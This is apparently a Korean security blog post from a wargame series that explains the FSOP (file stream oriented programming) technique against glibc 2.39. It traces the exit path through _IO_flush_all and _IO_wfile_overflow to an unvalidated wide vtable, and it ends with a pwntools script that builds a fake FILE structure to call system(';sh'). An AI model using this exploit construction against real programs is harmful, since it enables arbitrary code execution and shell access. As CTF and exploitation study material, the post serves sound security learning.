FSOP : _IO_cleanup

Juhyeong Kim·2025년 6월 6일

Wargame

목록 보기
1/1

glibc 2.39 기준

  • exit
  • main을 통한 return
  • abort

1. _IO_cleanup

위 루틴은 _IO_cleanup 함수를 호출한다.

예를 들어 /stdlib/exit.c 코드를 보면, 아래의 exit 함수는 __run_exit_handlers를 호출하게 되고,

void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}

__run_exit_handlers에서는 _IO_cleanup 함수를 호출하게 된다.

void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
		     bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
  if (run_dtors)
    call_function_static_weak (__call_tls_dtors);

  __libc_lock_lock (__exit_funcs_lock);

...
...

  if (run_list_atexit)
    call_function_static_weak (_IO_cleanup);

  _exit (status);
}

_IO_cleanup 함수는 /libio/genops.c에 정의되어 있고, 아래와 같이 _IO_flush_all() 함수를 호출한다.

참고로 이 함수는 GNU C Library (glibc) 내부에서 사용하는 함수로, 모든 열린 스트림(stream)에 대해 버퍼에 저장된 데이터를 플러시(flush) 하는 역할을 한다.

int
_IO_cleanup (void)
{
  int result = _IO_flush_all ();

  /* We currently don't have a reliable mechanism for making sure that
     C++ static destructors are executed in the correct order.
     So it is possible that other static destructors might want to
     write to cout - and they're supposed to be able to do so.

     The following will make the standard streambufs be unbuffered,
     which forces any output from late destructors to be written out. */
  _IO_unbuffer_all ();

  return result;
}

2. _IO_flush_all

_IO_flush_all 함수 또한 아래와 같이 /libio/genops.c에 정의되어 있고, 조건에 따라 _IO_OVERFLOW(fp, EOF)를 호출한다.

int
_IO_flush_all (void)
{
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif

  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      _IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;
    ...
 
}

아래의 두 가지 조건이 ||로 연결되어 있고, _IO_OVERFLOW(fp, EOF)는 마지막에 &&로 연결되어 있기 때문에, 아래 2가지 조건 중 하나가 만족되면 _IO_OVERFLOW(fp, EOF)를 호출하게 된다.

1.
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
2.
_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && 
(fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

여기서 fp(FILE *) _IO_list_all으로, _IO_list_all은 원래 _IO_FILE_plus *로, stderr를 가지고 있다.

stderr_chain 필드에 stdout이 연결되어 있고 stdout_chain 필드에 stdin이 아래와 같이 연결되어 표준입출력을 연결하고 있다.

참고 링크

3. _IO_OVERFLOW

_IO_OVERFLOW는 아래와 같이 /libio/libioP.h에 매크로로 정의되어 있다.

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

다시 돌아와서 우리는 _IO_OVERFLOW(_IO_list_all, EOF)를 호출하였기 때문에 JUMP1(__overflow, _IO_list_all, EOF)를 호출하게 된다.

JUMP1 매크로는 동일한 파일에 아래와 같이 정의되어 있다.

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

따라서 결국 아래 코드와 같다.

(_IO_JUMPS_FUNC(_IO_list_all)->__overflow) (_IO_list_all, EOF)

다시 동일 파일을 보면 _IO_JUMPS_FUNC 가 아래와 같이 매크로로 정의되어 있다.

#if _IO_JUMPS_OFFSET
# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)	\
			     + (THIS)->_vtable_offset)))

위 코드는 IO_validate_vtable을 통해 vtable을 검증하며 _vtable_offset에 따라 함수를 호출하는데,

우리가 여기서 vtable_IO_wfile_jumps로 조작해주게 되면 _IO_wfile_overflow로 이동하게 된다.

vtable = libc_base + libc.symbols['_IO_wfile_jumps']

참고로 _IO_wfile_jumpsstruct _IO_jump_t 구조체로, /libio/vtables.c 파일에 아래와 같이 구조체 배열 멤버로 정의되어 있다.

[IO_WFILE_JUMPS] = {
    JUMP_INIT_DUMMY,
    JUMP_INIT (finish, _IO_new_file_finish),
    JUMP_INIT (overflow, (_IO_overflow_t) _IO_wfile_overflow),
    JUMP_INIT (underflow, (_IO_underflow_t) _IO_wfile_underflow),
    JUMP_INIT (uflow, (_IO_underflow_t) _IO_wdefault_uflow),
    JUMP_INIT (pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
    JUMP_INIT (xsputn, _IO_wfile_xsputn),
    JUMP_INIT (xsgetn, _IO_file_xsgetn),
    JUMP_INIT (seekoff, _IO_wfile_seekoff),
    JUMP_INIT (seekpos, _IO_default_seekpos),
    JUMP_INIT (setbuf, _IO_new_file_setbuf),
    JUMP_INIT (sync, (_IO_sync_t) _IO_wfile_sync),
    JUMP_INIT (doallocate, _IO_wfile_doallocate),
    JUMP_INIT (read, _IO_file_read),
    JUMP_INIT (write, _IO_new_file_write),
    JUMP_INIT (seek, _IO_file_seek),
    JUMP_INIT (close, _IO_file_close),
    JUMP_INIT (stat, _IO_file_stat),
    JUMP_INIT (showmanyc, _IO_default_showmanyc),
    JUMP_INIT (imbue, _IO_default_imbue)
  },

4. _IO_wfile_overflow

해당 함수는 /libio/wfileops.c 파일에 아래와 같이 정의되어 있고, Exploit을 위해 호호출 해야 할 함수는 _IO_wdoaloocbuf (f); 이다.

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
      || f->_wide_data->_IO_write_base == NULL)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
	{
	  _IO_wdoallocbuf (f);

      ...

_IO_wdoallcbuf (f);를 호출하기 위해서는 아래의 조건들을 만족해야 한다.

  • f->_flags & _IO_NO_WRITES == 0
  • (f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL
  • f->_wide_data->_IO_write_base == 0

이를 위해서 f(_IO_list_all)의 _flags 필드는 0x808을 가지지 않으면 되고, 3번째 조건을 만족하면 된다.

5. _IO_wdoallocbuf

해당 함수는 /libio/wgenops.c 파일에 존재하며, 우리가 Exploit을 위해 호출해야 할 함수는 _IO_WDOALLOCATE (fp)이다.

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}

이를 위해 아래의 조건을 만족해야 한다.

  • fp->_wide_data->_IO_buf_base == 0
  • fp->_flags & _IO_UNBUFFERED == 0

_flags0x2를 가지지 않으면 된다.

6. _IO_WDOALLOCATE

해당 함수가 Exploit에 최종적으로 사용되는 이유는, 다른 vtable 함수와 달리 _IO_validate_vtable을 호출하지 않기 때문이다.

_IO_WDOALLOCATE 매크로 정의를 보면 아래와 같이 /libio/liboP.h에 존재한다.

#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)

여기서 WJUMP0을 따라가면 아래와 같은 흐름을 가진다.

#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

위와 같이 마지막에 _IO_validate_vtavle이 호출되지 않아서 vtable의 값을 system으로 덮어쓸 수 있음을 알 수 있다.

예를 들어 JUMP0은 맨 위에서 봤듯이 아래와 같이 마지막에 _IO_validate_vtable을 호출하기 때문에 system으로 덮어쓸 수 없다.

# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)	\
			     + (THIS)->_vtable_offset)))

Whole chain

Assuming that we overwrite the FILE->vtable from _IO_file_jumps to _IO_wfile_jumps. When the binary try to call
_IO_OVERFLOW (fp, EOF), the chain would be:

_IO_OVERFLOW (fp, EOF)
|_ JUMP1 (__overflow, fp, EOF)
   |_ (_IO_JUMPS_FUNC(fp)->__overflow) (fp, EOF)
      |_ ((IO_validate_vtable (_IO_JUMPS_FILE_plus (fp)))->__overflow) (fp, EOF) <- Because we overwrite it to point to _IO_wfile_jumps, it will call _IO_wfile_overflow instead of _IO_new_file_overflow. This is still valid because its location is still in the correct region
         |_ _IO_wfile_overflow(fp, EOF)
            |_ _IO_wdoallocbuf(fp)
               |_ _IO_WDOALLOCATE(fp)
                  |_ WJUMP0 (__doallocate, fp)
                     |_ (_IO_WIDE_JUMPS_FUNC(fp)->__doallocate) (fp)
                         |_ (_IO_WIDE_JUMPS(fp)->__doallocate) (fp) <- No Validation #profit :D

참고 링크

7. system(;sh)

결론적으로, 아래의 코드를 최종적으로 호출하게 되므로 FSOP로 system(;sh)을 호출하도록 조작할 수 있다.

((_IO_list_all->_wide_data->_wide_vtable)->__doallocate)(_IO_list_all)

따라서, system의 주소를 (_IO_list_all->_wide_data->_wide_vtable)->__doallocate에,

rdi에는 _IO_list_all이 들어가므로, _flags 필드에 ;sh이 들어가도록 설정해주면 된다.

1. _IO_FILE_complete

여기서 _wide_data 필드는 아래와 같이 struct _IO_FILE이 아닌 /libio/bits/types/struct_FILE.h 파일의 struct _IO_FILE_complete에 존재한다.

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

_IO_FILE이 아닌 _IO_FILE_complete에 존재하는 이유는, _IO_FILE은 과거 버전의 glibc에서 사용하던 레거시 구조체이다.

이를 유지하면서 파일 구조체에 확장성을 추가하기 위해 _IO_FILE_complete의 첫 번째 필드에 _IO_FILE을 유지하면서 바로 뒤에 필드들을 추가하여 구현하였다.

따라서, struct _IO_wide_data *_wide_data로 정의된 것을 확인할 수 있고, _IO_FILE_complete에서 offset은 0xa0임도 알 수 있다.

2. _IO_wide_data

그리고 _wide_data의 타입인 struct _IO_wide_data */libio/libio.h 파일에 아래와 같이 존재한다.

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;	/* Current read pointer */
  wchar_t *_IO_read_end;	/* End of get area. */
  wchar_t *_IO_read_base;	/* Start of putback+get area. */
  wchar_t *_IO_write_base;	/* Start of put area. */
  wchar_t *_IO_write_ptr;	/* Current put pointer. */
  wchar_t *_IO_write_end;	/* End of put area. */
  wchar_t *_IO_buf_base;	/* Start of reserve area. */
  wchar_t *_IO_buf_end;		/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;	/* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;	/* Pointer to first valid character of
				   backup area */
  wchar_t *_IO_save_end;	/* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};

여기서, _wide_vtable의 offset은 struct _IO_wide_data에서 0xe0에 위치한다.

계산해보면,

  • wchar_t * 11개 : 88 bytes

  • __mbstate_t 2개 : 16 bytes

  • _IO_codecvt : 112 bytes

  • wchar_t : 4 bytes + 4bytes(padding)

을 통해, 총 224 == 0xe0이 된다.

3. _IO_jump_t

마지막으로 이제, _wide_vtable의 타입인 struct _IO_jump_t *는 아래와 같이/libio/libioP.h 파일에 존재하고,

__doallocate의 offset은 0x68인 것을 확인할 수 있다.

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};

4. offset 정리

그럼 이제, system의 주소를 (_IO_list_all->_wide_data->_wide_vtable)->__doallocate에 넣기 위해 fake struct의 offset을 전부 알 수 있다.

아래 offset은 각각의 구조체 내에서의 offset이다. 어쩌피 전부 offset으로 접근하기 때문에 fake chunk 내에서 해당 offset을 계속 참조하도록 조작해주면 될 것이다.

  • _wide_data : 0xa0

  • _wide_vtable : 0xe0

  • __doallocate : 0x68

위의 말을 다시 반복하면, 포인터 각각은 ->로 연결되어있는 포인터이기 때문에 fake struct의 주소를 계속 순회하면서 되돌아가는 느낌으로 생각하면 된다.

  1. _IO_list_all_flags 필드에 ;sh 문자열 저장

  2. 0xa0 offset(_wide_data)에 &fake struct - 0x10를 저장

    • 0xe0_IO_FILE_plus 구조체의 offset을 넘어서므로 _wide_vtable0xd0 필드에 위치하게 시키기 위해
  3. 0xd0 offset(_unused2)에 &fake struct를 저장

    • _wide_vtable에 다시 _IO_list_all이 들어감
  4. 0x68 offset(_chain)에 system 함수의 주소를 저장

    • __doallocatesystem 함수를 호출하도록

8. FSOP

이제 위에서 살펴본 offset에 더하여 호출 과정에서 만족시킬 조건을 추가하면 된다.

조건들은 아래와 같고, fp_IO_list_all라고 생각하자.

In _IO_flush_all

  1. fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

1. In _IO_wfile_overflow

  1. f->_flags & _IO_NO_WRITES == 0

  2. (f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_wide_data->_IO_write_base == NULL

  3. f->_wide_data->_IO_write_base == 0

2. In _IO_wdoallocbuf

  1. fp->_wide_data->_IO_buf_base == 0

  2. fp->_flags & _IO_UNBUFFERED == 0

정리하면 _flags0x80a를 가지지 않으면 되는데, \x01\x01\x01\x01;sh\x00으로 설정하면 만족한다. (;sh 앞에 \x00이 붙으면 문자열이 끊기므로 조심하자.)

_IO_write_ptr 필드를 1로 설정해주며 _IO_write_base0으로 설정해주면 된다.

_wide_data 필드의 _IO_write_base_IO_buf_base0으로 설정해주면 된다.

_wide_data의 위 두 필드는 FSOP struct를 조작할 때 따로 다른 값으로 세팅해주지 않아서 기본 0을 유지하므로 신경써주지 않아도 된다.

3. _lock

_lock 필드에는 Write 권한이 존재하는 주소만 적어주면 된다. 대부분 Heap 주소에는 Write 권한이 존재하므로 적절한 heap 주소를 Exploit 과정에서 넣어주자.

9. FSOP Exploit Code

def FSOP_struct(flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0,
                _IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, _IO_buf_base=0, _IO_buf_end=0,
                _IO_save_base=0, _IO_backup_base=0, _IO_save_end=0, _markers=0, _chain=0, _fileno=0,
                _flags2=0, _old_offset=0, _cur_column=0, _vtable_offset=0, _shortbuf=0, lock=0,
                _offset=0, _codecvt=0, _wide_data=0, _freeres_list=0, _freeres_buf=0,
                __pad5=0, _mode=0, _unused2=b"", vtable=0, more_append=b""):

    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")

    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

...

fsop_ptr = heap_base + 0x6e0   # '_IO_FILE_plus * _IO_list_all'에 저장될 fsop_struct의 주소
fsop_struct = FSOP_struct(flags=u64(b"\x01\x01\x01\x01;sh\x00"),
                          lock=fsop_ptr + 0x1000 + 0x100,
                          _IO_write_ptr=0x1,
                          _wide_data=fsop_ptr - 0x10,
                          _mode=0,
                          _chain=libc_base + libc.symbols['system'],
                          _unused2=p32(0x0) + p64(0x0) + p64(fsop_ptr),
                          vtable=libc_base + libc.symbols['_IO_wfile_jumps']
                          )

10. Reference

profile
Security Blog

0개의 댓글